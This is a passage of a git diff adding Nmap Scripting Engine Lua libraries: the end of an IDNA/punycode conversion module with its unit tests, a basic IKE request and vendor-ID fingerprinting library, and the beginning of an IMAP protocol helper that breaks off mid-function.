+ if lookup.status == "disallowed_STD3_valid" or lookup.status == "disallowed_STD3_mapped" then
+ table.insert(disallowedCodePoints, cp)
+ end
+ end
+ end
+ end
+ end
+
+ decoded_tbl = concat_table_in_tables(decoded_tbl)
+
+ -- If useSTD3ASCIIRules=false, then disallowed_STD3_mapped values are considered
+ -- as mapped codepoints and are mapped with the input.
+ -- To use this part of code, add disallowed_STD3_mapped and disallowed_STD3_valid
+ -- codepoints to idnaMappings.lua. For now, we ignore these because idnaMappings.lua
+ -- is set to support only for the latest version of IDNA.
+ if not useSTD3ASCIIRules then
+ for index, cp in ipairs(decoded_tbl) do
+ local lookup = idnaMappings[cp]
+ if type(lookup) == "table" then
+ if lookup.status == "disallowed_STD3_mapped" then
+ decoded_tbl[index] = lookup[1]
+ end
+ end
+ end
+ end
+
+ decoded_tbl = concat_table_in_tables(decoded_tbl)
+
+ return decoded_tbl, disallowedCodePoints
+end
+
+
+--- Validate the input based on IDNA codepoints validation rules.
+--
+-- @param tableOfTables Table of codepoints of the splitted input.
+-- @param checkHyphens Boolean flag checks for 0x002D in unusual places.
+function validate(tableOfTables, checkHyphens)
+
+ if checkHyphens == nil then
+ checkHyphens = true
+ end
+
+ -- Validates the list of input codepoints.
+ for _, tbl in ipairs(tableOfTables) do
+
+ if checkHyphens then
+
+ -- Checks the 3rd and 4th position of input.
+ if (tbl[3] and tbl[3] == 0x002D) or (tbl[4] and tbl[4] == 0x002D) then
+ return false
+ end
+
+ -- Checks for starting and ending of input.
+ if tbl[1] == 0x002D or tbl[#tbl] == 0x002D then
+ return false
+ end
+
+ end
+
+ for _, v in ipairs(tbl) do
+ if v == 0x002E then
+ return false
+ end
+ end
+
+ -- TODO:
+ -- 1. Add validation for checkBidi, checkJoiners (if required).
+ -- 2. The label must not begin with a combining mark, that is: General_Category=Mark.
+ end
+
+ return true
+
+end
+
+--- Breaks the tables of codepoints using a delimiter.
+--
+-- @param A table is given as an input which contains codepoints.
+-- @param ASCII value of delimiter is provided.
+-- @return Returns table of tables after breaking the give table using delimiter.
+local function breakInput(codepoints, delimiter)
+
+ local tbl = {}
+ local output = {}
+
+ local delimiter = delimiter or 0x002E
+
+ for _, v in ipairs(codepoints) do
+ if v == delimiter then
+ table.insert(output, tbl)
+ tbl = {}
+ else
+ table.insert(tbl, v)
+ end
+ end
+
+ table.insert(output, tbl)
+
+ return output
+
+end
+
+--- Converts the input codepoints into ASCII text based on IDNA rules.
+--
+-- @param codepoints Table of codepoints of decoded input.
+-- @param tbl Table of optional params.
+-- @param transitionalProcessing Boolean value. Default: true.
+-- @param checkHyphens Boolean flag for checking hyphens presence in input.
+-- Default: true.
+-- @param checkBidi Boolean flag to represent if the input is of Bidi type.
+-- Default: false.
+-- @param checkJoiners Boolean flag to check for ContextJ rules in input.
+-- Default: false.
+-- @param useSTD3ASCIIRules Boolean value to represent ASCII rules. Default: true.
+-- @return Returns the IDNA ASCII format of the input.
+-- @return Throws nil, if there is any error in conversion.
+function toASCII(codepoints, transitionalProcessing, checkHyphens, checkBidi, checkJoiners, useSTD3ASCIIRules)
+
+ -- Assigns default values if not specified.
+ if transitionalProcessing == nil then
+ transitionalProcessing = true
+ end
+ if checkHyphens == nil then
+ checkHyphens = true
+ end
+
+ -- Bidi refers to right-to-left scripts.
+ -- Labels must satisfy all six of the numbered conditions in RFC 5893, Section 2.
+ -- to use checkBidi functionality.
+ if checkBidi == nil then
+ checkBidi = false
+ end
+
+ -- Labels must satisify the ContextJ rules to use checkJoiners functionality.
+ if checkJoiners == nil then
+ checkJoiners = false
+ end
+
+ if useSTD3ASCIIRules == nil then
+ useSTD3ASCIIRules = true
+ end
+
+ local decoded_tbl, disallowedCodePoints = map(codepoints, useSTD3ASCIIRules, transitionalProcessing)
+
+ if decoded_tbl == nil then
+ return nil
+ end
+
+ -- Prints the list of disallowed values in the given input.
+ if #disallowedCodePoints > 0 then
+ stdnse.debug(table.concat(disallowedCodePoints, ", "))
+ end
+
+ -- Breaks the codepoints into multiple tables using delimiter.
+ decoded_tbl = breakInput(decoded_tbl, 0x2E)
+
+ if decoded_tbl == nil then
+ return nil
+ end
+
+ -- Validates the codepoints and if any invalid codepoint found, returns nil.
+ if not validate(decoded_tbl, checkHyphens) then
+ return nil
+ end
+
+ for i, label in ipairs(decoded_tbl) do
+ decoded_tbl[i] = punycode.encode_label(label)
+ end
+ return table.concat(decoded_tbl, ".")
+
+end
+
+--- Converts the input into Unicode codepoints based on IDNA rules.
+--
+-- Note that the input should already be a table of Unicode code points. If
+-- your input is an ASCII string, convert it by using
+-- <code>unicode.decode</code> with the <code>unicode.utf8_dec</code> decoder.
+-- @param codepoints A domain name as a list of code points.
+-- @param transitionalProcessing Boolean value. Default: true.
+-- @param checkHyphens Boolean flag for checking hyphens presence in input.
+-- Default: true.
+-- @param checkBidi Boolean flag to represent if the input is of Bidi type.
+-- Default: false.
+-- @param checkJoiners Boolean flag to check for ContextJ rules in input.
+-- Default: false.
+-- @param useSTD3ASCIIRules Boolean value to represent ASCII rules. Default: true.
+-- @return Returns the Unicode format of the input based on IDNA rules.
+-- @return Throws nil, if there is any error in conversion.
+function toUnicode(codepoints, transitionalProcessing, checkHyphens, checkBidi, checkJoiners, useSTD3ASCIIRules)
+
+ -- Assigns default values if not specified.
+ if transitionalProcessing == nil then
+ transitionalProcessing = true
+ end
+ if checkHyphens == nil then
+ checkHyphens = true
+ end
+ if checkBidi == nil then
+ checkBidi = false
+ end
+ if checkJoiners == nil then
+ checkJoiners = false
+ end
+ if useSTD3ASCIIRules == nil then
+ useSTD3ASCIIRules = true
+ end
+
+ -- Breaks the codepoints into multiple tables using delimiter.
+ local decoded_tbl, disallowedCodePoints = map(codepoints, useSTD3ASCIIRules, transitionalProcessing)
+ decoded_tbl = breakInput(decoded_tbl, 0x2E)
+ if decoded_tbl == nil then
+ return nil
+ end
+
+ -- Validates the codepoints and if any invalid codepoint found, returns nil.
+ --if not validate(decoded_tbl, checkHyphens) then
+ -- return nil
+ --end
+
+ local output = {}
+ for i, label in ipairs(decoded_tbl) do
+ if label[1] == string.byte("x") and
+ label[2] == string.byte("n") and
+ label[3] == string.byte("-") and
+ label[4] == string.byte("-") then
+ local decoded = punycode.decode_label(unicode.encode(label, unicode.utf8_enc))
+ label = decoded or label
+ end
+ for j = 1, #label do
+ output[#output+1] = label[j]
+ end
+ if i < #decoded_tbl then
+ output[#output+1] = 0x2E
+ end
+ end
+
+ return output
+
+end
+
+if not unittest.testing() then
+ return _ENV
+end
+
+-- These are the used for two way testing (both encoding and decoding).
+local encodingAndDecodingTestCases = {
+ {
+ "\xce\xb1\xcf\x80\xcf\x80\xce\xbb\xce\xb5.\xce\xba\xce\xbf\xce\xbc",
+ "xn--mxairta.xn--vxaei"
+ },
+ {
+ "a\xe0\xa5\x8db",
+ "xn--ab-fsf"
+ },
+ {
+ "\xd9\x86\xd8\xa7\xd9\x85\xd9\x87\xd8\xa7\xdb\x8c.com",
+ "xn--mgba3gch31f.com"
+ },
+ {
+ "\xe0\xb7\x81\xe0\xb7\x8a\xe0\xb6\xbb\xe0\xb7\x93.com",
+ "xn--10cl1a0b.com"
+ },
+ {
+ "\xd0\xbf\xd1\x80\xd0\xb0\xd0\xb2\xd0\xb8\xd1\x82\xd0\xb5\xd0\xbb\xd1\x8c\xd1\x81\xd1\x82\xd0\xb2\xd0\xbe.\xd1\x80\xd1\x84",
+ "xn--80aealotwbjpid2k.xn--p1ai"
+ },
+ {
+ "\xe0\xa4\x95\xe0\xa4\xbe\xe0\xa4\xb6\xe0\xa5\x80\xe0\xa4\xaa\xe0\xa5\x81\xe0\xa4\xb0.\xe0\xa4\xad\xe0\xa4\xbe\xe0\xa4\xb0\xe0\xa4\xa4",
+ "xn--11b6bsw3bni.xn--h2brj9c"
+ },
+ {
+ "rewanthcool.com",
+ "rewanthcool.com"
+ },
+ {
+ "\xe3\xaf\x99\xe3\xaf\x9c\xe3\xaf\x99\xe3\xaf\x9f.com",
+ "xn--domain.com"
+ }
+}
+
+-- These test cases are used for only converting them into ASCII text.
+local toASCIITestCases = {
+ {
+ "ma\xc3\xb1ana.com",
+ "xn--maana-pta.com"
+ },
+ {
+ "RewanthCool.com",
+ "rewanthcool.com"
+ },
+ {
+ "\xc3\xb6bb.at",
+ "xn--bb-eka.at"
+ },
+ {
+ "\xe3\x83\x89\xe3\x83\xa1\xe3\x82\xa4\xe3\x83\xb3.\xe3\x83\x86\xe3\x82\xb9\xe3\x83\x88",
+ "xn--eckwd4c7c.xn--zckzah"
+ },
+ {
+ "\xd0\xb4\xd0\xbe\xd0\xbc\xd0\xb5\xd0\xbd\xd0\xb0.\xd0\xb8\xd1\x81\xd0\xbf\xd1\x8b\xd1\x82\xd0\xb0\xd0\xbd\xd0\xb8\xd0\xb5",
+ "xn--80ahd1agd.xn--80akhbyknj4f"
+ },
+ {
+ "\xe6\xb5\x8b\xe8\xaf\x95",
+ "xn--0zwm56d"
+ },
+ {
+ "k\xc3\xb6nigsg\xc3\xa4\xc3\x9fchen",
+ "xn--knigsgsschen-lcb0w"
+ },
+ {
+ "fa\xc3\x9f.de",
+ "fass.de"
+ },
+ {
+ "\xce\xb2\xcf\x8c\xce\xbb\xce\xbf\xcf\x82.com",
+ "xn--nxasmq6b.com"
+ },
+ {
+ "mycharity\xe3\x80\x82org",
+ "mycharity.org"
+ },
+ {
+ "K\xc3\xb6nigsg\xc3\xa4\xc3\x9fchen",
+ "xn--knigsgsschen-lcb0w"
+ },
+ {
+ "B\xc3\xbccher.de",
+ "xn--bcher-kva.de"
+ },
+ {
+ "xn--ma\xc3\xb1ana.com",
+ nil
+ }
+}
+
+-- These test cases are used for only converting them into ASCII text.
+-- The last two values in a table are outputs for different cases.
+--
+-- Format:
+-- {
+-- input unicode string,
+-- transitional processed output, --transitional=true
+-- non-transitional processed output --transitional=false
+-- }
+local multipleProcessingTestCases = {
+ {
+ "a\xe0\xa5\x8d\xe2\x80\x8cb",
+ "xn--ab-fsf",
+ "xn--ab-fsf604u"
+ },
+ {
+ "A\xe0\xa5\x8d\xe2\x80\x8cb",
+ "xn--ab-fsf",
+ "xn--ab-fsf604u"
+ },
+ {
+ "A\xe0\xa5\x8d\xe2\x80\x8Cb",
+ "xn--ab-fsf",
+ "xn--ab-fsf604u"
+ },
+ {
+ "\xd9\x86\xd8\xa7\xd9\x85\xd9\x87\xe2\x80\x8c\xd8\xa7\xdb\x8c",
+ "xn--mgba3gch31f",
+ "xn--mgba3gch31f060k"
+ },
+ {
+ "\xd9\x86\xd8\xa7\xd9\x85\xd9\x87\xe2\x80\x8c\xd8\xa7\xdb\x8c.com",
+ "xn--mgba3gch31f.com",
+ "xn--mgba3gch31f060k.com"
+ },
+ {
+ "\xc3\x9f\xe0\xa7\x81\xe1\xb7\xad\xe3\x80\x82\xd8\xa085",
+ "xn--ss-e2f077r.xn--85-psd",
+ "xn--zca266bwrr.xn--85-psd"
+ },
+ {
+ "\xc3\x9f\xe0\xa7\x81\xe1\xb7\xad\xe3\x80\x82\xd8\xa08\xe2\x82\x85",
+ "xn--ss-e2f077r.xn--85-psd",
+ "xn--zca266bwrr.xn--85-psd"
+ }
+}
+
+test_suite = unittest.TestSuite:new()
+
+for _, v in ipairs(toASCIITestCases) do
+ test_suite:add_test(unittest.equal(toASCII(unicode.decode(v[1], unicode.utf8_dec)), v[2]))
+end
+
+for _, v in ipairs(encodingAndDecodingTestCases) do
+ test_suite:add_test(unittest.equal(toASCII(unicode.decode(v[1], unicode.utf8_dec)), v[2]))
+ test_suite:add_test(unittest.equal(unicode.encode(toUnicode(unicode.decode(v[2], unicode.utf8_dec)), unicode.utf8_enc), v[1]))
+end
+
+for _, v in ipairs(multipleProcessingTestCases) do
+ -- Performs transitional conversion.
+ test_suite:add_test(unittest.equal(toASCII(unicode.decode(v[1], unicode.utf8_dec)), v[2]))
+ -- Performs non-transitional conversion.
+ test_suite:add_test(unittest.equal(toASCII(unicode.decode(v[1], unicode.utf8_dec), false), v[3]))
+end
+
+return _ENV
diff --git a/nselib/ike.lua b/nselib/ike.lua
new file mode 100644
index 0000000..d3278cb
--- /dev/null
+++ b/nselib/ike.lua
@@ -0,0 +1,550 @@
+---
+--A very basic IKE library.
+--
+--The current functionality includes:
+--
+-- 1. Generating a Main or Aggressive Mode IKE request packet with a variable amount of transforms and a vpn group.
+-- 2. Sending a packet
+-- 3. Receiving the response
+-- 4. Parsing the response for VIDs
+-- 5. Searching for the VIDs in 'ike-fingerprints.lua'
+-- 6. returning a parsed info table
+--
+--This library is meant for extension, which could include:
+--
+-- 1. complete parsing of the response packet (might allow for better fingerprinting)
+-- 2. adding more options to the request packet
+-- vendor field (might give better fingerprinting of services, e.g. Checkpoint)
+-- 3. backoff pattern analyses
+--
+--An a implementation resembling 'ike-scan' could be built.
+--
+--@author Jesper Kueckelhahn
+--@license Same as Nmap--See https://nmap.org/book/man-legal.html
+
+local _G = require "_G"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local rand = require "rand"
+_ENV = stdnse.module("ike", stdnse.seeall)
+
+local ENC_METHODS = {
+ ["des"] = 0x80010001,
+ ["3des"] = 0x80010005,
+ ["cast"] = 0x80010006,
+ ["aes/128"] = { 0x80010007, 0x800E0080 },
+ ["aes/192"] = { 0x80010007, 0x800E00C0 },
+ ["aes/256"] = { 0x80010007, 0x800E0100 },
+}
+
+local AUTH_TYPES = {
+ ["psk"] = 0x80030001,
+ ["rsa"] = 0x80030003,
+ ["ECDSA"] = 0x80030008,
+ ["Hybrid"] = 0x8003FADD,
+ ["XAUTH"] = 0x8003FDE9,
+}
+
+local HASH_ALGORITHM = {
+ ["md5"] = 0x80020001,
+ ["sha1"] = 0x80020002,
+ ["sha2-256"] = 0x80020004,
+ ["sha2-384"] = 0x80020005,
+ ["sha2-512"] = 0x80020006,
+}
+
+local GROUP_DESCRIPTION = {
+ ["768"] = 0x80040001,
+ ["1024"] = 0x80040002,
+ ["1536"] = 0x80040005,
+ ["2048"] = 0x8004000E,
+}
+
+local EXCHANGE_MODE = {
+ ["Main"] = 0x02,
+ ["Aggressive"] = 0x04,
+}
+
+local PROTOCOL_IDS = {
+ ["tcp"] = 0x06,
+ ["udp"] = 0x11,
+}
+
+-- Response packet types
+local EXCHANGE_TYPE = {
+ [0x02] = "Main",
+ [0x04] = "Aggressive",
+ [0x05] = "Informational",
+}
+
+-- Payload names
+local PAYLOADS = {
+ [0x00] = "None",
+ [0x01] = "SA",
+ [0x03] = "Transform",
+ [0x04] = "Key Exchange",
+ [0x05] = "ID",
+ [0x08] = "Hash",
+ [0x0A] = "Nonce",
+ [0x0D] = "VID",
+}
+
+
+-- Load the fingerprint file
+-- (located in: nselib/data/ike-fingerprints.lua)
+--
+local function load_fingerprints()
+ local file, filename_full, fingerprints
+
+ -- Check if fingerprints are cached
+ if(nmap.registry.ike_fingerprints ~= nil) then
+ stdnse.debug1("ike: Loading cached fingerprints")
+ return nmap.registry.ike_fingerprints
+ end
+
+ -- Try and find the file
+ -- If it isn't in Nmap's directories, take it as a direct path
+ filename_full = nmap.fetchfile('nselib/data/ike-fingerprints.lua')
+
+ -- Load the file
+ stdnse.debug1("ike: Loading fingerprints: %s", filename_full)
+ local env = setmetatable({fingerprints = {}}, {__index = _G});
+ file = loadfile(filename_full, "t", env)
+ if( not(file) ) then
+ stdnse.debug1("ike: Couldn't load the file: %s", filename_full)
+ return false, "Couldn't load fingerprint file: " .. filename_full
+ end
+ file()
+ fingerprints = env.fingerprints
+
+ -- Check there are fingerprints to use
+ if(#fingerprints == 0 ) then
+ return false, "No fingerprints were loaded after processing ".. filename_full
+ end
+
+ return true, fingerprints
+end
+
+
+-- Extract Payloads
+local function extract_payloads(packet)
+
+ -- packet only contains HDR
+ if #packet < 29 then return {} end
+
+ local np = packet:byte(17) -- next payload
+ local np_txt = PAYLOADS[np]
+ local index = 29 -- starting point for search
+ local ike_headers = {} -- ike headers
+
+ -- loop over packet
+ while np_txt and np_txt ~= "None" and index <= #packet do
+ local payload_length, payload
+ np, payload_length, index = string.unpack(">B x I2", packet, index)
+ payload, index = string.unpack("c" .. (payload_length - 4), packet, index)
+ payload = stdnse.tohex(payload)
+
+ -- debug
+ if np_txt == 'VID' then
+ stdnse.debug2('IKE: Found IKE Header: %s - %s', np_txt, payload)
+ else
+ stdnse.debug2('IKE: Found IKE Header: %s', np_txt)
+ end
+
+ -- Store payload
+ if ike_headers[np_txt] == nil then
+ ike_headers[np_txt] = {payload}
+ else
+ table.insert(ike_headers[np_txt], payload)
+ end
+
+ np_txt = PAYLOADS[np]
+ end
+ return ike_headers
+
+end
+
+
+
+
+-- Search the fingerprint database for matches
+-- This is a (currently) divided into two parts
+-- 1) version detection based on single fingerprints
+-- 2) version detection based on the order of all vendor ids
+--
+-- NOTE: the second step currently only has support for CISCO devices
+--
+-- Input is a table of collected vendor-ids, output is a table
+-- with fields:
+-- vendor, version, name, attributes (table), guess (table), os
+local function lookup(vendor_ids)
+ if vendor_ids == {} or vendor_ids == nil then return {} end
+
+ -- concat all vids to one string
+ local all_vids = ''
+ for _,vid in pairs(vendor_ids) do all_vids = all_vids .. vid end
+
+ -- the results
+ local info = {
+ vendor = nil,
+ attribs = {},
+ }
+ local unmatched = {}
+
+ local status, fingerprints
+ status, fingerprints = load_fingerprints()
+
+ if status then
+
+ -- loop over the vendor_ids returned in ike request
+ for _,vendor_id in pairs(vendor_ids) do
+
+ -- loop over the fingerprints found in database
+ for _,row in pairs(fingerprints) do
+
+ if vendor_id:find(row.fingerprint) then
+
+ -- if a match is found, check if it's a version detection or attribute
+ if row.category == 'vendor' then
+ local debug_string = ''
+ if row.vendor ~= nil then debug_string = debug_string .. row.vendor .. ' ' end
+ if row.version ~= nil then debug_string = debug_string .. row.version end
+ stdnse.debug2("IKE: Fingerprint: %s matches %s", vendor_id, debug_string)
+
+ -- Only store the first match
+ if info.vendor == nil then
+ -- the fingerprint contains information about the VID
+ info.vendor = row
+ end
+
+ elseif row.category == 'attribute' then
+ info.attribs[ #info.attribs + 1] = row
+ stdnse.debug2("IKE: Attribute: %s matches %s", vendor_id, row.text)
+ break
+ end
+ else
+ unmatched[#unmatched+1] = vendor_id
+ end
+ end
+ end
+ end
+ if next(unmatched) then
+ info.unknown_ids = unmatched
+ end
+
+
+ ---------------------------------------------------
+ -- Search for the order of the vids
+ -- Uses category 'vid_ordering'
+ ---
+
+ -- search in the 'vid_ordering' category
+ local debug_string = ''
+ for _,row in pairs(fingerprints) do
+
+ if row.category == 'vid_ordering' and all_vids:find(row.fingerprint) then
+
+ -- Use ordering information if there where no vendor matches from previous step
+ if info.vendor == nil then
+ info.vendor = row
+
+ -- Debugging info
+ debug_string = ''
+ if info.vendor.vendor ~= nil then debug_string = debug_string .. info.vendor.vendor .. ' ' end
+ if info.vendor.version ~= nil then debug_string = debug_string .. info.vendor.version .. ' ' end
+ if info.vendor.ostype ~= nil then debug_string = debug_string .. info.vendor.ostype end
+ stdnse.debug2('IKE: No vendor match, but ordering match found: %s', debug_string)
+
+ return info
+
+ -- Update OS based on ordering
+ elseif info.vendor.vendor == row.vendor then
+ info.vendor.ostype = row.ostype
+
+ -- Debugging info
+ debug_string = ''
+ if info.vendor.vendor ~= nil then debug_string = debug_string .. info.vendor.vendor .. ' to ' end
+ if row.ostype ~= nil then debug_string = debug_string .. row.ostype end
+ stdnse.debug2('IKE: Vendor and ordering match. OS updated: %s', debug_string)
+
+ return info
+
+ -- Only print debugging information if conflicting information is detected
+ else
+ -- Debugging info
+ debug_string = ''
+ if info.vendor.vendor ~= nil then debug_string = debug_string .. info.vendor.vendor .. ' vs ' end
+ if row.vendor ~= nil then debug_string = debug_string .. row.vendor end
+ stdnse.debug2('IKE: Found an ordering match, but vendors do not match. %s', debug_string)
+
+ end
+ end
+ end
+
+ return info
+end
+
+
+---
+-- Handle a response packet
+--
+-- A very limited response parser.
+-- Currently only the VIDs are extracted.
+-- This could be made more advanced to
+-- allow for fingerprinting via the order
+-- of the returned headers
+-- @param packet A received IKE packet
+-- @return A table of parsed response values
+function response(packet)
+ local resp = { ["mode"] = "", ["info"] = nil, ['vids']={}, ['success'] = false }
+
+ if #packet > 19 then
+
+ -- extract the return type
+ local resp_type = EXCHANGE_TYPE[packet:byte(19)]
+ local ike_headers = {}
+
+ -- simple check that the type is something other than 'Informational'
+ -- as this type does not include VIDs
+ if resp_type ~= "Informational" then
+ resp["mode"] = resp_type
+
+ ike_headers = extract_payloads(packet)
+
+ -- Extract the VIDs
+ resp['vids'] = ike_headers['VID']
+
+ -- search for fingerprints
+ resp["info"] = lookup(resp['vids'])
+
+ -- indicate that a packet 'useful' packet was returned
+ resp['success'] = true
+ end
+ end
+
+ return resp
+end
+
+
+--- Send a request and parse the response
+--
+-- Sends an IKE request such as generated by <code>ike.request()</code>,
+-- binding to the same source port as the destination port.
+-- @param host Destination host
+-- @param port Destination port (table)
+-- @return Parsed IKE response (output of <code>ike.response()</code>)
+function send_request( host, port, packet )
+
+ local socket = nmap.new_socket()
+
+ -- lock resource (port 500/udp)
+ local mutex = nmap.mutex("ike_port_500");
+ mutex "lock";
+
+ -- send the request packet
+ socket:set_timeout(1000)
+ socket:bind(nil, port.number)
+ socket:connect(host, port, "udp")
+ local s_status = socket:send(packet)
+
+ -- receive answer
+ if s_status then
+ local r_status, data = socket:receive_bytes(1)
+
+ if r_status then
+ socket:close()
+
+ -- release mutex
+ mutex "done";
+ return response(data)
+ else
+ socket:close()
+ end
+ else
+ socket:close()
+ end
+
+ -- release mutex
+ mutex "done";
+
+ return {}
+end
+
+-- Create the aggressive part of a packet
+-- Aggressive mode includes the user-id, so the
+-- length of this has to be taken into account
+--
+local function generate_aggressive(port, protocol, id, diffie)
+ -- get length of key data based on diffie
+ local key_length
+ if diffie == 1 then
+ key_length = 96
+ elseif diffie == 2 then
+ key_length = 128
+ elseif diffie == 5 then
+ key_length = 192
+ end
+
+ return (
+ -- Key Exchange
+ string.pack(">Bx I2",
+ 0x0a, -- Next payload (Nonce)
+ key_length + 4) -- Length
+ .. rand.random_string(key_length) -- Random key data
+
+ -- Nonce
+ .. string.pack(">Bx I2",
+ 0x05, -- Next payload (Identification)
+ 20 + 4) -- Length
+ ..rand.random_string(20) -- Nonce data
+
+ -- Identification
+ .. string.pack(">Bx I2 BBI2",
+ 0x00, -- Next Payload (None)
+ #id + 4 + 4, -- Payload length
+ 0x03, -- ID Type (USER_FQDN)
+ PROTOCOL_IDS[protocol], -- Protocol ID (UDP)
+ port) -- Port (500)
+ .. id
+ )
+end
+
+
+-- Create the transform
+-- AES encryption needs an extra value to define the key length
+-- Currently only DES, 3DES and AES encryption is supported
+--
+local function generate_transform(auth, encryption, hash, group, number, total)
+ local key_length, trans_length, aes_enc, sep, enc
+ local next_payload, payload_number
+
+ -- handle special case of aes
+ if encryption:sub(1,3) == "aes" then
+ trans_length = 0x0028
+ enc = ENC_METHODS[encryption][1]
+ key_length = ENC_METHODS[encryption][2]
+ else
+ trans_length = 0x0024
+ enc = ENC_METHODS[encryption]
+ key_length = nil
+ end
+
+ -- check if there are more transforms
+ if number == total then
+ next_payload = 0x00 -- none
+ else
+ next_payload = 0x03 -- transform
+ end
+
+ -- set the payload number
+
+ local trans = string.pack(">Bx I2 BB xx I4I4I4I4",
+ next_payload, -- Next payload
+ trans_length, -- Transform length
+ number, -- Transform number
+ 0x01, -- Transform ID (IKE)
+ enc, -- Encryption algorithm
+ HASH_ALGORITHM[hash], -- Hash algorithm
+ AUTH_TYPES[auth], -- Authentication method
+ GROUP_DESCRIPTION[group] -- Group Description
+ )
+
+ if key_length ~= nil then
+ trans = trans .. string.pack(">I4", key_length) -- only set for aes
+ end
+
+ trans = trans .. string.pack(">I4I8",
+ 0x800b0001, -- Life type (seconds)
+ 0x000c000400007080 -- Life duration (28800)
+ )
+
+ return trans
+end
+
+
+-- Generate multiple transforms
+-- Input must be a table of complete transforms
+--
+local function generate_transforms(transform_table)
+ local transforms = ''
+
+ for i,t in pairs(transform_table) do
+ transforms = transforms .. generate_transform(t.auth, t.encryption, t.hash, t.group, i, #transform_table)
+ end
+
+ return transforms
+end
+
+
+--- Create a request packet
+--
+-- Support for multiple transforms, which minimizes the
+-- the amount of traffic/packets needed to be sent
+-- @param port Associated port number
+-- @param proto Associated protocol
+-- @param mode "Aggressive" or "Main"
+-- @param transforms Table of IKE transforms
+-- @param diffie DH group number
+-- @param id Identification data
+-- @return IKE request datagram
+function request(port, proto, mode, transforms, diffie, id)
+ local payload_after_sa, str_aggressive, l, l_sa, l_pro
+
+ local transform_string = generate_transforms(transforms)
+
+ -- check for aggressive vs Main mode
+ if mode == "Aggressive" then
+ str_aggressive = generate_aggressive(port, proto, id, diffie)
+ payload_after_sa = 0x04
+ else
+ str_aggressive = ""
+ payload_after_sa = 0x00
+ end
+
+
+ -- calculate lengths
+ l = 48 + transform_string:len() + str_aggressive:len()
+ l_sa = 20 + transform_string:len()
+ l_pro = 8 + transform_string:len()
+
+ -- Build the packet
+ local packet =
+ rand.random_string(8) -- Initiator cookie
+ .. ("\0"):rep(8) -- Responder cookie
+ .. string.pack(">BBBBI4I4 BxI2I4I4 BxI2BBBB",
+ 0x01, -- Next payload (SA)
+ 0x10, -- Version
+ EXCHANGE_MODE[mode], -- Exchange type
+ 0x00, -- Flags
+ 0x00000000, -- Message id
+ l, -- packet length
+
+
+ -- Security Association
+ payload_after_sa, -- Next payload (Key exchange, if aggressive mode)
+ l_sa, -- Length
+ 0x00000001, -- IPSEC
+ 0x00000001, -- Situation
+
+ --## Proposal
+ 0x00, -- Next payload (None)
+ l_pro, -- Payload length
+ 0x01, -- Proposal number
+ 0x01, -- Protocol ID (ISAKMP)
+ 0x00, -- SPI Size
+ #transforms -- Proposal transforms
+ )
+
+ packet = packet .. transform_string -- transform
+
+ if mode == 'Aggressive' then
+ packet = packet .. str_aggressive
+ end
+
+ return packet
+end
+
+
+return _ENV
diff --git a/nselib/imap.lua b/nselib/imap.lua
new file mode 100644
index 0000000..9e786a6
--- /dev/null
+++ b/nselib/imap.lua
@@ -0,0 +1,280 @@
+---
+-- A library implementing a minor subset of the IMAP protocol, currently the
+-- CAPABILITY, LOGIN and AUTHENTICATE functions. The library was initially
+-- written by Brandon Enright and later extended and converted to OO-form by
+-- Patrik Karlsson <patrik@cqure.net>
+--
+-- The library consists of a <code>Helper</code>, class which is the main
+-- interface for script writers, and the <code>IMAP</code> class providing
+-- all protocol-level functionality.
+--
+-- The following example illustrates the recommended use of the library:
+-- <code>
+-- local helper = imap.Helper:new(host, port)
+-- helper:connect()
+-- helper:login("user","password","PLAIN")
+-- helper:close()
+-- </code>
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+-- @author Brandon Enright
+-- @author Patrik Karlsson
+
+-- Version 0.2
+-- Revised 07/15/2011 - v0.2 - added the IMAP and Helper classes
+-- added support for LOGIN and AUTHENTICATE
+-- <patrik@cqure.net>
+
+local base64 = require "base64"
+local comm = require "comm"
+local match = require "match"
+local sasl = require "sasl"
+local stdnse = require "stdnse"
+local table = require "table"
+_ENV = stdnse.module("imap", stdnse.seeall)
+
+
+IMAP = {
+
+ --- Creates a new instance of the IMAP class
+ --
+ -- @param host table as received by the script action method
+ -- @param port table as received by the script action method
+ -- @param options table containing options, currently
+ -- <code>timeout<code> - number containing the seconds to wait for
+ -- a response
+ new = function(self, host, port, options)
+ local o = {
+ host = host,
+ port = port,
+ counter = 1,
+ timeout = ( options and options.timeout ) or 10000
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Receives a response from the IMAP server
+ --
+ -- @return status true on success, false on failure
+ -- @return data string containing the received data
+ receive = function(self)
+ local data = ""
+ repeat
+ local status, tmp = self.socket:receive_buf(match.pattern_limit("\r\n", 1024), false)
+ if( not(status) ) then return false, tmp end
+ data = data .. tmp
+ until( tmp:match(("^A%04d"):format(self.counter - 1)) or tmp:match("^%+"))
+
+ return true, data
+ end,
+
+ --- Sends a request to the IMAP server
+ --
+ -- @param cmd string containing the command to send to the server eg.
+ -- eg. (AUTHENTICATE, LOGIN)
+ -- @param params string containing the command parameters
+ -- @return true on success, false on failure
+ -- @return err string containing the error if status was false
+ send = function(self, cmd, params)
+ local data
+ if ( not(params) ) then
+ data = ("A%04d %s\r\n"):format(self.counter, cmd)
+ else
+ data = ("A%04d %s %s\r\n"):format(self.counter, cmd, params)
+ end
+ local status, err = self.socket:send(data)
+ if ( not(status) ) then return false, err end
+ self.counter = self.counter + 1
+ return true
+ end,
+
+ --- Connect to the server
+ --
+ -- @return status true on success, false on failure
+ -- @return banner string containing the server banner
+ connect = function(self)
+ local socket, banner, opt = comm.tryssl( self.host, self.port, "", { request_timeout=self.timeout, recv_before=true } )
+ if ( not(socket) or not(banner) ) then return false, "ERROR: Failed to connect to server" end
+ self.socket = socket
+ return true, banner
+ end,
+
+ --- Authenticate to the server (non PLAIN text mode)
+ -- Currently supported algorithms are CRAM-MD5 and CRAM-SHA1
+ --
+ -- @param username string containing the username
+ -- @param pass string containing the password
+ -- @param mech string containing a authentication mechanism, currently
+ -- CRAM-MD5 or CRAM-SHA1
+ -- @return status true if login was successful, false on failure
+ -- @return err string containing the error message if status was false
+ authenticate = function(self, username, pass, mech)
+ assert( mech == "NTLM" or
+ mech == "DIGEST-MD5" or
+ mech == "CRAM-MD5" or
+ mech == "PLAIN",
+ "Unsupported authentication mechanism")
+
+ local status, err = self:send("AUTHENTICATE", mech)
+
+ if( not(status) ) then return false, "ERROR: Failed to send data" end
+
+ local status, data = self:receive()
+ if( not(status) ) then return false, "ERROR: Failed to receive challenge" end
+
